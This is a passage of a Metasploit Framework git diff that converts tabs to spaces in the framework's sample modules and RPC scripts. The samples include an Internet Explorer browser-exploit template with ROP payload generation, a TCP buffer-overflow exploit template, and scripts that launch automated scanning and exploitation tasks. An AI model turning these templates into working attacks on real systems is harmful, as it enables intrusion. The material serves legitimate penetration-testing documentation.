Msf::Auxiliary - def initialize(info={}) - super(update_info(info, - 'Name' => 'Sample Auxiliary Module', - 'Description' => 'Sample Auxiliary Module', - 'Author' => ['hdm'], - 'License' => MSF_LICENSE, - 'Actions' => - [ - ['Default Action'], - ['Another Action'] - ] - )) - - end - - def run - print_status("Running the simple auxiliary module with action #{action.name}") - end - - def auxiliary_commands - return { "aux_extra_command" => "Run this auxiliary test commmand" } - end - - def cmd_aux_extra_command(*args) - print_status("Running inside aux_extra_command()") - end + def initialize(info={}) + super(update_info(info, + 'Name' => 'Sample Auxiliary Module', + 'Description' => 'Sample Auxiliary Module', + 'Author' => ['hdm'], + 'License' => MSF_LICENSE, + 'Actions' => + [ + ['Default Action'], + ['Another Action'] + ] + )) + + end + + def run + print_status("Running the simple auxiliary module with action #{action.name}") + end + + def auxiliary_commands + return { "aux_extra_command" => "Run this auxiliary test commmand" } + end + + def cmd_aux_extra_command(*args) + print_status("Running inside aux_extra_command()") + end end diff --git a/documentation/samples/modules/encoders/sample.rb b/documentation/samples/modules/encoders/sample.rb index 9ca09565e022..f60dde2e3682 100644 --- a/documentation/samples/modules/encoders/sample.rb +++ b/documentation/samples/modules/encoders/sample.rb @@ -13,23 +13,23 @@ ### class Metasploit4 < Msf::Encoder - def initialize - super( - 'Name' => 'Sample Encoder', - 'Description' => %q{ - Sample encoder that just returns the block it's passed - when encoding occurs. - }, - 'License' => MSF_LICENSE, - 'Author' => 'skape', - 'Arch' => ARCH_ALL) - end + def initialize + super( + 'Name' => 'Sample Encoder', + 'Description' => %q{ + Sample encoder that just returns the block it's passed + when encoding occurs. + }, + 'License' => MSF_LICENSE, + 'Author' => 'skape', + 'Arch' => ARCH_ALL) + end - # - # Returns the unmodified buffer to the caller. - # - def encode_block(state, buf) - buf - end + # + # Returns the unmodified buffer to the caller. + # + def encode_block(state, buf) + buf + end end diff --git a/documentation/samples/modules/exploits/ie_browser.rb b/documentation/samples/modules/exploits/ie_browser.rb index bc3131d75655..3580436400d2 100644 --- a/documentation/samples/modules/exploits/ie_browser.rb +++ b/documentation/samples/modules/exploits/ie_browser.rb @@ -15,133 +15,133 @@ # ### class Metasploit4 < Msf::Exploit::Remote - Rank = NormalRanking - - include Msf::Exploit::Remote::HttpServer::HTML - include Msf::Exploit::RopDb - include Msf::Exploit::Remote::BrowserAutopwn - - # Set :classid and :method for ActiveX exploits. For example: - # :classid => "{C3B92104-B5A7-11D0-A37F-00A0248F0AF1}", - # :method => "SetShapeNodeType", - autopwn_info({ - :ua_name => HttpClients::IE, - :ua_minver => "8.0", - :ua_maxver => "10.0", - :javascript => true, - :os_name => OperatingSystems::WINDOWS, - :rank => NormalRanking - }) - - def initialize(info={}) - super(update_info(info, - 'Name' => "Module Name", - 'Description' => %q{ - This template covers IE8/9/10, and uses the user-agent HTTP header to detect - the browser version. Please note IE8 and newer may emulate an older IE version - in compatibility mode, in that case the module won't be able to detect the - browser correctly. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'sinn3r' ], - 'References' => - [ - [ 'URL', 'http://metasploit.com' ] - ], - 'Platform' => 'win', - 'Targets' => - [ - [ 'Automatic', {} ], - [ 'IE 8 on Windows XP SP3', { 'Rop' => :jre } ], - [ 'IE 8 on Windows Vista', { 'Rop' => :jre } ], - [ 'IE 8 on Windows 7', { 'Rop' => :jre } ], - [ 'IE 9 on Windows 7', { 'Rop' => :jre } ], - [ 'IE 10 on Windows 8', { 'Rop' => :jre } ] - ], - 'Payload' => - { - 'BadChars' => "\x00", # js_property_spray - 'StackAdjustment' => -3500 - }, - 'Privileged' => false, - 'DisclosureDate' => "Apr 1 2013", - 'DefaultTarget' => 0)) - end - - def get_target(agent) - return target if target.name != 'Automatic' - - nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' - ie = agent.scan(/MSIE (\d)/).flatten[0] || '' - - ie_name = "IE #{ie}" - - case nt - when '5.1' - os_name = 'Windows XP SP3' - when '6.0' - os_name = 'Windows Vista' - when '6.1' - os_name = 'Windows 7' - when '6.2' - os_name = 'Windows 8' - end - - targets.each do |t| - if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) - return t - end - end - - nil - end - - def get_payload(t) - stack_pivot = "\x41\x42\x43\x44" - code = payload.encoded - - case t['Rop'] - when :msvcrt - print_status("Using msvcrt ROP") - rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'}) - - else - print_status("Using JRE ROP") - rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot}) - end - - rop_payload - end - - - def get_html(t) - js_p = ::Rex::Text.to_unescape(get_payload(t), ::Rex::Arch.endian(t.arch)) - html = %Q| - - | - - html.gsub(/^\t\t/, '') - end - - - def on_request_uri(cli, request) - agent = request.headers['User-Agent'] - print_status("Requesting: #{request.uri}") - - target = get_target(agent) - if target.nil? - print_error("Browser not supported, sending 404: #{agent}") - send_not_found(cli) - return - end - - print_status("Target selected as: #{target.name}") - html = get_html(target) - send_response(cli, html, { 'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache' }) - end + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::RopDb + include Msf::Exploit::Remote::BrowserAutopwn + + # Set :classid and :method for ActiveX exploits. For example: + # :classid => "{C3B92104-B5A7-11D0-A37F-00A0248F0AF1}", + # :method => "SetShapeNodeType", + autopwn_info({ + :ua_name => HttpClients::IE, + :ua_minver => "8.0", + :ua_maxver => "10.0", + :javascript => true, + :os_name => OperatingSystems::WINDOWS, + :rank => NormalRanking + }) + + def initialize(info={}) + super(update_info(info, + 'Name' => "Module Name", + 'Description' => %q{ + This template covers IE8/9/10, and uses the user-agent HTTP header to detect + the browser version. Please note IE8 and newer may emulate an older IE version + in compatibility mode, in that case the module won't be able to detect the + browser correctly. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'sinn3r' ], + 'References' => + [ + [ 'URL', 'http://metasploit.com' ] + ], + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', {} ], + [ 'IE 8 on Windows XP SP3', { 'Rop' => :jre } ], + [ 'IE 8 on Windows Vista', { 'Rop' => :jre } ], + [ 'IE 8 on Windows 7', { 'Rop' => :jre } ], + [ 'IE 9 on Windows 7', { 'Rop' => :jre } ], + [ 'IE 10 on Windows 8', { 'Rop' => :jre } ] + ], + 'Payload' => + { + 'BadChars' => "\x00", # js_property_spray + 'StackAdjustment' => -3500 + }, + 'Privileged' => false, + 'DisclosureDate' => "Apr 1 2013", + 'DefaultTarget' => 0)) + end + + def get_target(agent) + return target if target.name != 'Automatic' + + nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' + ie = agent.scan(/MSIE (\d)/).flatten[0] || '' + + ie_name = "IE #{ie}" + + case nt + when '5.1' + os_name = 'Windows XP SP3' + when '6.0' + os_name = 'Windows Vista' + when '6.1' + os_name = 'Windows 7' + when '6.2' + os_name = 'Windows 8' + end + + targets.each do |t| + if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) + return t + end + end + + nil + end + + def get_payload(t) + stack_pivot = "\x41\x42\x43\x44" + code = payload.encoded + + case t['Rop'] + when :msvcrt + print_status("Using msvcrt ROP") + rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'}) + + else + print_status("Using JRE ROP") + rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot}) + end + + rop_payload + end + + + def get_html(t) + js_p = ::Rex::Text.to_unescape(get_payload(t), ::Rex::Arch.endian(t.arch)) + html = %Q| + + | + + html.gsub(/^\t\t/, '') + end + + + def on_request_uri(cli, request) + agent = request.headers['User-Agent'] + print_status("Requesting: #{request.uri}") + + target = get_target(agent) + if target.nil? + print_error("Browser not supported, sending 404: #{agent}") + send_not_found(cli) + return + end + + print_status("Target selected as: #{target.name}") + html = get_html(target) + send_response(cli, html, { 'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache' }) + end end diff --git a/documentation/samples/modules/exploits/sample.rb b/documentation/samples/modules/exploits/sample.rb index e3cd52de57eb..081020fcd3ae 100644 --- a/documentation/samples/modules/exploits/sample.rb +++ b/documentation/samples/modules/exploits/sample.rb @@ -15,71 +15,71 @@ ### class Metasploit4 < Msf::Exploit::Remote - # - # This exploit affects TCP servers, so we use the TCP client mixin. - # - include Exploit::Remote::Tcp + # + # This exploit affects TCP servers, so we use the TCP client mixin. + # + include Exploit::Remote::Tcp - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Sample Exploit', - 'Description' => %q{ - This exploit module illustrates how a vulnerability could be exploited - in an TCP server that has a parsing bug. - }, - 'License' => MSF_LICENSE, - 'Author' => ['skape'], - 'References' => - [ - ], - 'Payload' => - { - 'Space' => 1000, - 'BadChars' => "\x00", - }, - 'Targets' => - [ - # Target 0: Windows All - [ - 'Windows XP/Vista/7/8', - { - 'Platform' => 'win', - 'Ret' => 0x41424344 - } - ], - ], - 'DisclosureDate' => "Apr 1 2013", - 'DefaultTarget' => 0)) - end + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Sample Exploit', + 'Description' => %q{ + This exploit module illustrates how a vulnerability could be exploited + in an TCP server that has a parsing bug. + }, + 'License' => MSF_LICENSE, + 'Author' => ['skape'], + 'References' => + [ + ], + 'Payload' => + { + 'Space' => 1000, + 'BadChars' => "\x00", + }, + 'Targets' => + [ + # Target 0: Windows All + [ + 'Windows XP/Vista/7/8', + { + 'Platform' => 'win', + 'Ret' => 0x41424344 + } + ], + ], + 'DisclosureDate' => "Apr 1 2013", + 'DefaultTarget' => 0)) + end - # - # The sample exploit just indicates that the remote host is always - # vulnerable. - # - def check - Exploit::CheckCode::Vulnerable - end + # + # The sample exploit just indicates that the remote host is always + # vulnerable. + # + def check + Exploit::CheckCode::Vulnerable + end - # - # The exploit method connects to the remote service and sends 1024 random bytes - # followed by the fake return address and then the payload. - # - def exploit - connect + # + # The exploit method connects to the remote service and sends 1024 random bytes + # followed by the fake return address and then the payload. + # + def exploit + connect - print_status("Sending #{payload.encoded.length} byte payload...") + print_status("Sending #{payload.encoded.length} byte payload...") - # Build the buffer for transmission - buf = rand_text_alpha(1024) - buf << [ target.ret ].pack('V') - buf << payload.encoded + # Build the buffer for transmission + buf = rand_text_alpha(1024) + buf << [ target.ret ].pack('V') + buf << payload.encoded - # Send it off - sock.put(buf) - sock.get_once + # Send it off + sock.put(buf) + sock.get_once - handler - end + handler + end end diff --git a/documentation/samples/modules/nops/sample.rb b/documentation/samples/modules/nops/sample.rb index ec171857c37c..d24a87808bf4 100644 --- a/documentation/samples/modules/nops/sample.rb +++ b/documentation/samples/modules/nops/sample.rb @@ -15,20 +15,20 @@ ### class Metasploit4 < Msf::Nop - def initialize - super( - 'Name' => 'Sample NOP Generator', - 'Description' => 'Sample single-byte NOP generator', - 'License' => MSF_LICENSE, - 'Author' => 'skape', - 'Arch' => ARCH_X86) - end + def initialize + super( + 'Name' => 'Sample NOP Generator', + 'Description' => 'Sample single-byte NOP generator', + 'License' => MSF_LICENSE, + 'Author' => 'skape', + 'Arch' => ARCH_X86) + end - # - # Returns a string of 0x90's for the supplied length. - # - def generate_sled(length, opts) - "\x90" * length - end + # + # Returns a string of 0x90's for the supplied length. + # + def generate_sled(length, opts) + "\x90" * length + end end diff --git a/documentation/samples/modules/payloads/singles/sample.rb b/documentation/samples/modules/payloads/singles/sample.rb index ee23fd28fc15..c79123c90e99 100644 --- a/documentation/samples/modules/payloads/singles/sample.rb +++ b/documentation/samples/modules/payloads/singles/sample.rb @@ -14,21 +14,21 @@ ### module Metasploit4 - include Msf::Payload::Single + include Msf::Payload::Single - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Debugger Trap', - 'Description' => 'Causes a debugger trap exception through int3', - 'License' => MSF_LICENSE, - 'Author' => 'skape', - 'Platform' => 'win', - 'Arch' => ARCH_X86, - 'Payload' => - { - 'Payload' => "\xcc" - } - )) - end + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Debugger Trap', + 'Description' => 'Causes a debugger trap exception through int3', + 'License' => MSF_LICENSE, + 'Author' => 'skape', + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Payload' => + { + 'Payload' => "\xcc" + } + )) + end end diff --git a/documentation/samples/modules/post/sample.rb b/documentation/samples/modules/post/sample.rb index fde58e237ad1..2729ced0bd06 100644 --- a/documentation/samples/modules/post/sample.rb +++ b/documentation/samples/modules/post/sample.rb @@ -15,26 +15,26 @@ ### class Metasploit4 < Msf::Post - include Msf::Post::Common + include Msf::Post::Common - def initialize(info={}) - super(update_info(info, - 'Name' => 'Sample Post Module', - 'Description' => %q{Sample Post Module}, - 'License' => MSF_LICENSE, - 'Author' => [ 'sinn3r'], - 'Platform' => [ 'win'], - 'SessionTypes' => [ "shell", "meterpreter" ] - )) - end + def initialize(info={}) + super(update_info(info, + 'Name' => 'Sample Post Module', + 'Description' => %q{Sample Post Module}, + 'License' => MSF_LICENSE, + 'Author' => [ 'sinn3r'], + 'Platform' => [ 'win'], + 'SessionTypes' => [ "shell", "meterpreter" ] + )) + end - # - # This post module runs a ipconfig command and returns the output - # - def run - print_status("Executing ipconfig on remote machine") - o = cmd_exec("ipconfig") - print_line(o) - end + # + # This post module runs a ipconfig command and returns the output + # + def run + print_status("Executing ipconfig on remote machine") + o = cmd_exec("ipconfig") + print_line(o) + end end \ No newline at end of file diff --git a/documentation/samples/pro/msfrpc_pro_discover.rb b/documentation/samples/pro/msfrpc_pro_discover.rb index 2a4aa48a3859..061344085577 100644 --- a/documentation/samples/pro/msfrpc_pro_discover.rb +++ b/documentation/samples/pro/msfrpc_pro_discover.rb @@ -5,19 +5,19 @@ require 'rex/ui' def usage(ropts) - $stderr.puts ropts + $stderr.puts ropts - if @rpc and @rpc.token - wspaces = @rpc.call("pro.workspaces") rescue {} - if wspaces.keys.length > 0 - $stderr.puts "Active Projects:" - wspaces.each_pair do |k,v| - $stderr.puts "\t#{k}" - end - end - end - $stderr.puts "" - exit(1) + if @rpc and @rpc.token + wspaces = @rpc.call("pro.workspaces") rescue {} + if wspaces.keys.length > 0 + $stderr.puts "Active Projects:" + wspaces.each_pair do |k,v| + $stderr.puts "\t#{k}" + end + end + end + $stderr.puts "" + exit(1) end opts = {} @@ -27,88 +27,88 @@ def usage(ropts) parser.separator('Discover Mandatory Options:') parser.on("--project PROJECT") do |x| - opts[:project] = x + opts[:project] = x end parser.on("--targets TARGETS") do |x| - opts[:targets] = [x] + opts[:targets] = [x] end parser.on("--blacklist BLACKLIST (optional)") do |x| - opts[:blacklist] = x + opts[:blacklist] = x end parser.on("--speed SPEED (optional)") do |x| - opts[:speed] = x + opts[:speed] = x end parser.on("--extra-ports PORTS (optional)") do |x| - opts[:extra_ports] = x + opts[:extra_ports] = x end parser.on("--blacklist-ports PORTS (optional)") do |x| - opts[:blacklist_ports] = x + opts[:blacklist_ports] = x end parser.on("--custom-ports PORTS (optional)") do |x| - opts[:custom_ports] = x + opts[:custom_ports] = x end parser.on("--portscan-timeout TIMEOUT (optional)") do |x| - opts[:portscan_timeout] = x + opts[:portscan_timeout] = x end parser.on("--source-port PORT (optional)") do |x| - opts[:source_port] = x + opts[:source_port] = x end parser.on("--custom-nmap-options OPTIONS (optional)") do |x| - opts[:custom_nmap_options] = x + opts[:custom_nmap_options] = x end parser.on("--disable-udp-probes (optional)") do - opts[:disable_udp_probes] = true + opts[:disable_udp_probes] = true end parser.on("--disable-finger-users (optional)") do - opts[:disable_finger_users] = true + opts[:disable_finger_users] = true end parser.on("--disable-snmp-scan (optional)") do - opts[:disable_snmp_scan] = true + opts[:disable_snmp_scan] = true end parser.on("--disable-service-identification (optional)") do - opts[:disable_service_identification] = true + opts[:disable_service_identification] = true end parser.on("--smb-user USER (optional)") do |x| - opts[:smb_user] = x + opts[:smb_user] = x end parser.on("--smb-pass PASS (optional)") do |x| - opts[:smb_pass] = x + opts[:smb_pass] = x end parser.on("--smb-domain DOMAIN (optional)") do |x| - opts[:smb_domain] = x + opts[:smb_domain] = x end parser.on("--dry-run (optional)") do - opts[:dry_run] = true + opts[:dry_run] = true end parser.on("--single-scan (optional)") do - opts[:single_scan] = true + opts[:single_scan] = true end parser.on("--fast-detect (optional)") do - opts[:fast_detect] = true + opts[:fast_detect] = true end parser.on("--help") do - $stderr.puts parser - exit(1) + $stderr.puts parser + exit(1) end parser.separator('') @@ -117,9 +117,9 @@ def usage(ropts) @rpc = Msf::RPC::Client.new(opts) if not @rpc.token - $stderr.puts "Error: Invalid RPC server options specified" - $stderr.puts parser - exit(1) + $stderr.puts "Error: Invalid RPC server options specified" + $stderr.puts parser + exit(1) end # Provide default values for certain options - If there's no alternative set @@ -149,59 +149,59 @@ def usage(ropts) # Create the task object with all options task = @rpc.call("pro.start_discover", { - 'workspace' => project, - 'username' => user, - 'ips' => targets, - 'DS_BLACKLIST_HOSTS' => blacklist, - 'DS_PORTSCAN_SPEED' => speed, - 'DS_PORTS_EXTRA' => extra_ports, - 'DS_PORTS_BLACKLIST' => blacklist_ports, - 'DS_PORTS_CUSTOM' => custom_ports, - 'DS_PORTSCAN_TIMEOUT' => portscan_timeout, - 'DS_PORTSCAN_SOURCE_PORT' => source_port, - 'DS_CustomNmap' => custom_nmap_options, - 'DS_UDP_PROBES' => disable_udp_probes, - 'DS_FINGER_USERS' => disable_finger_users, - 'DS_SNMP_SCAN' => disable_snmp_scan, - 'DS_IDENTIFY_SERVICES' => disable_service_identification, - 'DS_SMBUser' => smb_user, - 'DS_SMBPass' => smb_pass, - 'DS_SMBDomain' => smb_domain, - 'DS_SINGLE_SCAN' => single_scan, - 'DS_FAST_DETECT' => fast_detect + 'workspace' => project, + 'username' => user, + 'ips' => targets, + 'DS_BLACKLIST_HOSTS' => blacklist, + 'DS_PORTSCAN_SPEED' => speed, + 'DS_PORTS_EXTRA' => extra_ports, + 'DS_PORTS_BLACKLIST' => blacklist_ports, + 'DS_PORTS_CUSTOM' => custom_ports, + 'DS_PORTSCAN_TIMEOUT' => portscan_timeout, + 'DS_PORTSCAN_SOURCE_PORT' => source_port, + 'DS_CustomNmap' => custom_nmap_options, + 'DS_UDP_PROBES' => disable_udp_probes, + 'DS_FINGER_USERS' => disable_finger_users, + 'DS_SNMP_SCAN' => disable_snmp_scan, + 'DS_IDENTIFY_SERVICES' => disable_service_identification, + 'DS_SMBUser' => smb_user, + 'DS_SMBPass' => smb_pass, + 'DS_SMBDomain' => smb_domain, + 'DS_SINGLE_SCAN' => single_scan, + 'DS_FAST_DETECT' => fast_detect }) puts "DEBUG: Running task with #{task.inspect}" if not task['task_id'] - $stderr.puts "[-] Error starting the task: #{task.inspect}" - exit(0) + $stderr.puts "[-] Error starting the task: #{task.inspect}" + exit(0) end puts "[*] Creating Task ID #{task['task_id']}..." while true - select(nil, nil, nil, 0.50) + select(nil, nil, nil, 0.50) - stat = @rpc.call("pro.task_status", task['task_id']) + stat = @rpc.call("pro.task_status", task['task_id']) - if stat['status'] == 'invalid' - $stderr.puts "[-] Error checking task status" - exit(0) - end + if stat['status'] == 'invalid' + $stderr.puts "[-] Error checking task status" + exit(0) + end - info = stat[ task['task_id'] ] + info = stat[ task['task_id'] ] - if not info - $stderr.puts "[-] Error finding the task" - exit(0) - end + if not info + $stderr.puts "[-] Error finding the task" + exit(0) + end - if info['status'] == "error" - $stderr.puts "[-] Error generating report: #{info['error']}" - exit(0) - end + if info['status'] == "error" + $stderr.puts "[-] Error generating report: #{info['error']}" + exit(0) + end - break if info['progress'] == 100 + break if info['progress'] == 100 end $stdout.puts "[+] Task Complete!" diff --git a/documentation/samples/pro/msfrpc_pro_exploit.rb b/documentation/samples/pro/msfrpc_pro_exploit.rb index bc3b3fc573a9..c24dc1b8c619 100644 --- a/documentation/samples/pro/msfrpc_pro_exploit.rb +++ b/documentation/samples/pro/msfrpc_pro_exploit.rb @@ -5,19 +5,19 @@ require 'rex/ui' def usage(ropts) - $stderr.puts ropts + $stderr.puts ropts - if @rpc and @rpc.token - wspaces = @rpc.call("pro.workspaces") rescue {} - if wspaces.keys.length > 0 - $stderr.puts "Active Projects:" - wspaces.each_pair do |k,v| - $stderr.puts "\t#{k}" - end - end - end - $stderr.puts "" - exit(1) + if @rpc and @rpc.token + wspaces = @rpc.call("pro.workspaces") rescue {} + if wspaces.keys.length > 0 + $stderr.puts "Active Projects:" + wspaces.each_pair do |k,v| + $stderr.puts "\t#{k}" + end + end + end + $stderr.puts "" + exit(1) end opts = {} @@ -43,88 +43,88 @@ def usage(ropts) parser.separator('Exploit Specific Options:') parser.on("--project PROJECT") do |x| - opts[:project] = x + opts[:project] = x end parser.on("--targets TARGETS") do |x| - opts[:targets] = x + opts[:targets] = x end parser.on("--speed SPEED") do |x| - opts[:speed] = x + opts[:speed] = x end parser.on("--minimum-rank RANK") do |x| - opts[:rank] = x + opts[:rank] = x end parser.on("--blacklist BLACKLIST (optional)") do |x| - opts[:blacklist] = x + opts[:blacklist] = x end parser.on("--whitelist-ports PORTS (optional)") do |x| - opts[:whitelist_ports] = x + opts[:whitelist_ports] = x end parser.on("--blacklist-ports PORTS (optional)") do |x| - opts[:blacklist_ports] = x + opts[:blacklist_ports] = x end parser.on("--exploit-timeout TIMEOUT (optional)") do |x| - opts[:exploit_timeout] = x + opts[:exploit_timeout] = x end parser.on("--limit-sessions (optional)") do |x| - opts[:limit_sessions] = (x =~ /^(y|t|1)/i ? true : false ) + opts[:limit_sessions] = (x =~ /^(y|t|1)/i ? true : false ) end parser.on("--ignore-fragile-devices (optional)") do |x| - opts[:ignore_fragile_devices] = (x =~ /^(y|t|1)/i ? true : false ) + opts[:ignore_fragile_devices] = (x =~ /^(y|t|1)/i ? true : false ) end parser.on("--filter-by-os (optional)") do |x| - opts[:filter_by_os] = (x =~ /^(y|t|1)/i ? true : false ) + opts[:filter_by_os] = (x =~ /^(y|t|1)/i ? true : false ) end parser.on("--dry-run (optional)") do |x| - opts[:only_match] = (x =~ /^(y|t|1)/i ? true : false ) + opts[:only_match] = (x =~ /^(y|t|1)/i ? true : false ) end parser.on("--match-vulns (optional)") do |x| - opts[:match_vulns] = (x =~ /^(y|t|1)/i ? true : false ) + opts[:match_vulns] = (x =~ /^(y|t|1)/i ? true : false ) end parser.on("--match-ports (optional)") do |x| - opts[:match_ports] = (x =~ /^(y|t|1)/i ? true : false ) + opts[:match_ports] = (x =~ /^(y|t|1)/i ? true : false ) end parser.on("--payload-method AUTO|REVERSE|BIND (optional)") do |x| - opts[:payload_method] = x + opts[:payload_method] = x end parser.on("--payload-type METERPRETER|SHELL (optional)") do |x| - opts[:payload_type] = x + opts[:payload_type] = x end parser.on("--payload-ports PORTS (optional)") do |x| - opts[:payload_ports] = x + opts[:payload_ports] = x end parser.on("--evasion-level-tcp LEVEL (optional)") do |x| - opts[:evasion_level_tcp] = x + opts[:evasion_level_tcp] = x end parser.on("--evasion-level-app LEVEL (optional)") do |x| - opts[:evasion_level_app] = x + opts[:evasion_level_app] = x end parser.on("--module-filter FILTER (optional)") do |x| - opts[:module_filter] = x + opts[:module_filter] = x end parser.on("--help") do - $stderr.puts parser - exit(1) + $stderr.puts parser + exit(1) end parser.separator('') @@ -133,9 +133,9 @@ def usage(ropts) @rpc = Msf::RPC::Client.new(opts) if not @rpc.token - $stderr.puts "Error: Invalid RPC server options specified" - $stderr.puts parser - exit(1) + $stderr.puts "Error: Invalid RPC server options specified" + $stderr.puts parser + exit(1) end # Store the user's settings @@ -166,60 +166,60 @@ def usage(ropts) # Create the task object with all options task = @rpc.call("pro.start_exploit", { - 'workspace' => project, - 'username' => user, - 'DS_WHITELIST_HOSTS' => targets, - 'DS_BLACKLIST_HOSTS' => blacklist, - 'DS_WHITELIST_PORTS' => whitelist_ports, - 'DS_BLACKLIST_PORTS' => blacklist_ports, - 'DS_MinimumRank' => rank, - 'DS_EXPLOIT_SPEED' => speed, - 'DS_EXPLOIT_TIMEOUT' => exploit_timeout, - 'DS_LimitSessions' => limit_sessions, - 'DS_IgnoreFragileDevices' => ignore_fragile_devices, - 'DS_FilterByOS' => filter_by_os, - 'DS_OnlyMatch' => only_match, - 'DS_MATCH_VULNS' => match_vulns, - 'DS_MATCH_PORTS' => match_ports, - 'DS_PAYLOAD_METHOD' => payload_method, - 'DS_PAYLOAD_TYPE' => payload_type, - 'DS_PAYLOAD_PORTS' => payload_ports, - 'DS_EVASION_LEVEL_TCP' => evasion_level_tcp, - 'DS_EVASION_LEVEL_APP' => evasion_level_app, - 'DS_ModuleFilter' => module_filter + 'workspace' => project, + 'username' => user, + 'DS_WHITELIST_HOSTS' => targets, + 'DS_BLACKLIST_HOSTS' => blacklist, + 'DS_WHITELIST_PORTS' => whitelist_ports, + 'DS_BLACKLIST_PORTS' => blacklist_ports, + 'DS_MinimumRank' => rank, + 'DS_EXPLOIT_SPEED' => speed, + 'DS_EXPLOIT_TIMEOUT' => exploit_timeout, + 'DS_LimitSessions' => limit_sessions, + 'DS_IgnoreFragileDevices' => ignore_fragile_devices, + 'DS_FilterByOS' => filter_by_os, + 'DS_OnlyMatch' => only_match, + 'DS_MATCH_VULNS' => match_vulns, + 'DS_MATCH_PORTS' => match_ports, + 'DS_PAYLOAD_METHOD' => payload_method, + 'DS_PAYLOAD_TYPE' => payload_type, + 'DS_PAYLOAD_PORTS' => payload_ports, + 'DS_EVASION_LEVEL_TCP' => evasion_level_tcp, + 'DS_EVASION_LEVEL_APP' => evasion_level_app, + 'DS_ModuleFilter' => module_filter }) puts "DEBUG: Running task with #{task.inspect}" if not task['task_id'] - $stderr.puts "[-] Error starting the task: #{task.inspect}" - exit(0) + $stderr.puts "[-] Error starting the task: #{task.inspect}" + exit(0) end puts "[*] Creating Task ID #{task['task_id']}..." while true - select(nil, nil, nil, 0.50) + select(nil, nil, nil, 0.50) - stat = @rpc.call("pro.task_status", task['task_id']) + stat = @rpc.call("pro.task_status", task['task_id']) - if stat['status'] == 'invalid' - $stderr.puts "[-] Error checking task status" - exit(0) - end + if stat['status'] == 'invalid' + $stderr.puts "[-] Error checking task status" + exit(0) + end - info = stat[ task['task_id'] ] + info = stat[ task['task_id'] ] - if not info - $stderr.puts "[-] Error finding the task" - exit(0) - end + if not info + $stderr.puts "[-] Error finding the task" + exit(0) + end - if info['status'] == "error" - $stderr.puts "[-] Error generating report: #{info['error']}" - exit(0) - end + if info['status'] == "error" + $stderr.puts "[-] Error generating report: #{info['error']}" + exit(0) + end - break if info['progress'] == 100 + break if info['progress'] == 100 end $stdout.puts "[+] Task Complete!" diff --git a/documentation/samples/pro/msfrpc_pro_import.rb b/documentation/samples/pro/msfrpc_pro_import.rb index d451fb76c620..b7c2c07604c6 100644 --- a/documentation/samples/pro/msfrpc_pro_import.rb +++ b/documentation/samples/pro/msfrpc_pro_import.rb @@ -5,18 +5,18 @@ require 'rex/ui' def usage(ropts) - $stderr.puts ropts - - if @rpc and @rpc.token - wspaces = @rpc.call("pro.workspaces") rescue {} - if wspaces.keys.length > 0 - $stderr.puts "Active Projects:" - wspaces.each_pair do |k,v| - $stderr.puts "\t#{k}" - end - end - end - exit(1) + $stderr.puts ropts + + if @rpc and @rpc.token + wspaces = @rpc.call("pro.workspaces") rescue {} + if wspaces.keys.length > 0 + $stderr.puts "Active Projects:" + wspaces.each_pair do |k,v| + $stderr.puts "\t#{k}" + end + end + end + exit(1) end opts = {} @@ -26,16 +26,16 @@ def usage(ropts) parser.separator('Task Options:') parser.on("--path PATH") do |path| - opts[:path] = path + opts[:path] = path end parser.on("--project PROJECT") do |project| - opts[:project] = project + opts[:project] = project end parser.on("--help") do - $stderr.puts parser - exit(1) + $stderr.puts parser + exit(1) end parser.separator('') @@ -43,49 +43,49 @@ def usage(ropts) @rpc = Msf::RPC::Client.new(opts) if not @rpc.token - $stderr.puts "Error: Invalid RPC server options specified" - $stderr.puts parser - exit(1) + $stderr.puts "Error: Invalid RPC server options specified" + $stderr.puts parser + exit(1) end project = opts[:project] || usage(parser) path = opts[:path] || usage(parser) user = @rpc.call("pro.default_admin_user")['username'] task = @rpc.call("pro.start_import", { - 'workspace' => project, - 'username' => user, - 'DS_PATH' => path + 'workspace' => project, + 'username' => user, + 'DS_PATH' => path }) if not task['task_id'] - $stderr.puts "[-] Error starting the task: #{task.inspect}" - exit(0) + $stderr.puts "[-] Error starting the task: #{task.inspect}" + exit(0) end puts "[*] Creating Task ID #{task['task_id']}..." while true - select(nil, nil, nil, 0.50) + select(nil, nil, nil, 0.50) - stat = @rpc.call("pro.task_status", task['task_id']) + stat = @rpc.call("pro.task_status", task['task_id']) - if stat['status'] == 'invalid' - $stderr.puts "[-] Error checking task status" - exit(0) - end + if stat['status'] == 'invalid' + $stderr.puts "[-] Error checking task status" + exit(0) + end - info = stat[ task['task_id'] ] + info = stat[ task['task_id'] ] - if not info - $stderr.puts "[-] Error finding the task" - exit(0) - end + if not info + $stderr.puts "[-] Error finding the task" + exit(0) + end - if info['status'] == "error" - $stderr.puts "[-] Error generating report: #{info['error']}" - exit(0) - end + if info['status'] == "error" + $stderr.puts "[-] Error generating report: #{info['error']}" + exit(0) + end - break if info['progress'] == 100 + break if info['progress'] == 100 end $stdout.puts "[+] Task Complete!" diff --git a/documentation/samples/pro/msfrpc_pro_nexpose.rb b/documentation/samples/pro/msfrpc_pro_nexpose.rb index aa9d626723e9..4f6e1cb963ee 100644 --- a/documentation/samples/pro/msfrpc_pro_nexpose.rb +++ b/documentation/samples/pro/msfrpc_pro_nexpose.rb @@ -5,19 +5,19 @@ require 'rex/ui' def usage(ropts) - $stderr.puts ropts - - if @rpc and @rpc.token - wspaces = @rpc.call("pro.workspaces") rescue {} - if wspaces.keys.length > 0 - 